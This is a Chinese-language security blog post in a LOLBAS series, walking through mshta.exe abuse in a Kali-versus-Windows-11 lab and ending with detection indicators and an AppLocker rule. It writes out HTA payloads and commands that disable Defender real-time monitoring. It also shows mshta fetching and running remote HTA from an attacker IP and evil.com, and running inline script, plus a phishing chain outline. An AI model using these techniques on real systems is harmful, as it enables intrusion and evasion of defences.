【LOLBAS鐵人賽Day7】Mshta.exe深度實戰：HTA應用程式的惡意執行

1074 字

5 分鐘

- views

【LOLBAS鐵人賽Day7】Mshta.exe深度實戰：HTA應用程式的惡意執行

2025-09-21

Research

LOLBAS

/

Windows

/

Security

mshta.exe 是用來執行 HTA（HTML Application）檔案的工具，
偶爾看到一些老舊的企業內部工具會用 HTA 做簡單的 GUI 介面
其實 mshta 不只能執行本地 HTA，還能直接執行遠端檔案
甚至能執行 JavaScript/VBScript 程式碼，完全不需要檔案落地！

什麼是 HTA？#

HTA（HTML Application）是 Microsoft 在 Internet Explorer 5 時代推出的技術，
讓開發者可以用 HTML + JavaScript/VBScript 來建立桌面應用程式

HTA 的特點#

副檔名：.hta
執行程式：mshta.exe（Microsoft HTML Application Host）
權限：以完整的本地權限執行（不受瀏覽器沙箱限制）
支援語言：HTMLJavaScriptVBScriptCSS
特殊能力：可以存取檔案系統執行系統命令操作登錄機碼

正常的 HTA 範例#

1
<html>
2
<head>
3
  <title>系統資訊檢視器</title>
4
  <HTA:APPLICATION
5
    ID="SysInfo"
6
    APPLICATIONNAME="System Info"
7
    BORDER="dialog"
8
    ICON="info.ico">
9
</head>
10
<body>
11
  <h1>系統資訊</h1>
12
  <script language="JavaScript">
13
    var wmi = GetObject("winmgmts:");
14
    var os = wmi.ExecQuery("SELECT * FROM Win32_OperatingSystem");
15
    document.write("OS: " + os.Caption);
16
  </script>
17
</body>
18
</html>

為什麼 HTA 危險？#

完整系統權限：不像網頁受到沙箱限制，HTA 可以做任何事
看起來無害：副檔名不在常見的危險清單中（.exe.bat.ps1）
支援遠端載入：可以直接執行網路上的 HTA
內建於 Windows：mshta.exe 是系統元件，有合法簽章

今天就來實測 Windows 11 上 mshta 的各種危險用法

HTA vs 其他檔案類型#

檔案類型

執行方式

權限等級

網路執行

Windows Defender

.exe

直接執行

完整

需下載

x

.ps1

PowerShell

受限於執行原則

可以

x

.js/.vbs

wscript/cscript

受限

需下載

x

.hta

mshta.exe

完整

直接執行

較少監控

環境準備#

今天的實作會需要兩台機器：

1
Attacker Machine: Kali
2
Victim Machine: Windows 11

Attacker Machine (Kali)：#

1
# 建立測試目錄
2
mkdir ~/mshta_demo && cd ~/mshta_demo
3

4
# 建立標準 HTA 檔案
5
cat > payload.hta << 'EOF'
6
<html>
7
<head>
8
<title>Test HTA</title>
9
<HTA:APPLICATION ID="TestHTA"
10
   APPLICATIONNAME="Test"
11
   WINDOWSTATE="minimize">
12
</head>
13
<body>
14
<script language="VBScript">
15
  Set shell = CreateObject("WScript.Shell")
16
  shell.Run "calc.exe"
17
  shell.Run "cmd.exe /c echo HTA_Executed > C:\Windows\Temp\mshta_test.txt", 0
18
  Self.Close
19
</script>
20
</body>
21
</html>
22
EOF
23

24
# 建立 JavaScript 版本
25
cat > js_payload.hta << 'EOF'
26
<script language="JavaScript">
27
  var shell = new ActiveXObject("WScript.Shell");
28
  shell.Run("calc.exe");
29
  shell.Run("powershell -c Write-Host 'MSHTA Executed!' -ForegroundColor Red");
30
  window.close();
31
</script>
32
EOF
33

34
# 建立混合 payload（PowerShell）
35
cat > ps_payload.hta << 'EOF'
36
<script>
37
var c = "powershell -enc ";
38
var e = "V3JpdGUtSG9zdCAnRW5jb2RlZCBQYXlsb2FkIScgLUZvcmVncm91bmRDb2xvciBSZWQ7IGNhbGMuZXhl";
39
new ActiveXObject("WScript.Shell").Run(c+e,0);
40
window.close();
41
</script>
42
EOF
43

44
# 啟動 Web Server
45
python3 -m http.server 8080

Victim Machine (Windows 11)：#

1
:: 建立測試環境
2
mkdir C:\TestLab
3
cd C:\TestLab
4

5
:: 暫時關閉防護（測試環境）
6
powershell -c "Add-MpPreference -ExclusionPath 'C:\TestLab'"
7
powershell -c "Set-MpPreference -DisableRealtimeMonitoring $true"

Mshta 三大危險技巧#

技巧一：執行遠端 HTA（最直接）#

1
:: 設定攻擊者 IP
2
set ATTACKER=10.211.55.6
3

4
:: 直接執行遠端 HTA
5
mshta http://%ATTACKER%:8080/payload.hta
6

7
:: HTTPS 版本（繞過某些防火牆）
8
mshta https://evil.com/payload.hta
9

10
:: 短網址（隱藏真實來源）
11
mshta http://bit.ly/3xY
12

13
:: 一行執行（常見於釣魚郵件）
14
cmd /c mshta http://%ATTACKER%:8080/js_payload.hta

執行後計算機會彈出，完全不需要下載檔案到本地！

技巧二：執行 inline JavaScript/VBScript（無檔案）#

這是最危險的技術，完全不需要 HTA 檔案：

1
:: JavaScript inline 執行
2
mshta javascript:alert("Test");window.close();
3

4
:: 執行系統命令
5
mshta javascript:var%20s=new%20ActiveXObject('WScript.Shell');s.Run('calc.exe');window.close();
6

7
:: VBScript 版本
8
mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run(""calc.exe""):window.close")
9

10
:: 更複雜的 payload
11
mshta javascript:window.moveTo(-4000,-4000);window.resizeTo(0,0);var%20s=new%20ActiveXObject('WScript.Shell');s.Run('powershell%20-w%20hidden%20-c%20calc');window.close();

實戰：完整攻擊鏈#

典型的 HTA 釣魚攻擊流程#

1
1. 攻擊者發送釣魚郵件
2
   主旨：緊急：請查看您的薪資單
3
   附件：Payroll_2024.doc.hta（雙重副檔名偽裝）
4

5
2. 使用者點擊附件
6
   Windows 預設用 mshta.exe 開啟
7

8
3. HTA 執行惡意程式碼
9
   - 顯示假的錯誤訊息（檔案已損壞）
10
   - 背景下載真正的惡意程式
11
   - 建立持續性機制
12

13
4. 清理痕跡
14
   - HTA 自我刪除
15
   - 清除事件日誌

偵測與防禦#

關鍵偵測指標#

mshta.exe + HTTP/HTTPS URL
mshta.exe + javascript: 或 vbscript:
mshta.exe 產生 PowerShell/CMD 子程序
mshta.exe 從 Office/瀏覽器啟動

檢查系統痕跡#

1
# 檢查 Temp 檔案
2
Get-ChildItem "$env:TEMP" -Filter "*.hta" -ErrorAction SilentlyContinue
3

4
# 檢查啟動項目
5
Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" |
6
    Select-Object * | Where-Object {$_ -match "mshta"}
7

8
# 檢查排程任務
9
Get-ScheduledTask | Where-Object {$_.Actions.Execute -match "mshta"}

AppLocker 規則#

1
<FilePathRule Id="Block_MSHTA" Name="Block MSHTA Network" Action="Deny">
2
  <Conditions>
3
    <FilePathCondition Path="%SYSTEM32%\mshta.exe"/>
4
  </Conditions>
5
</FilePathRule>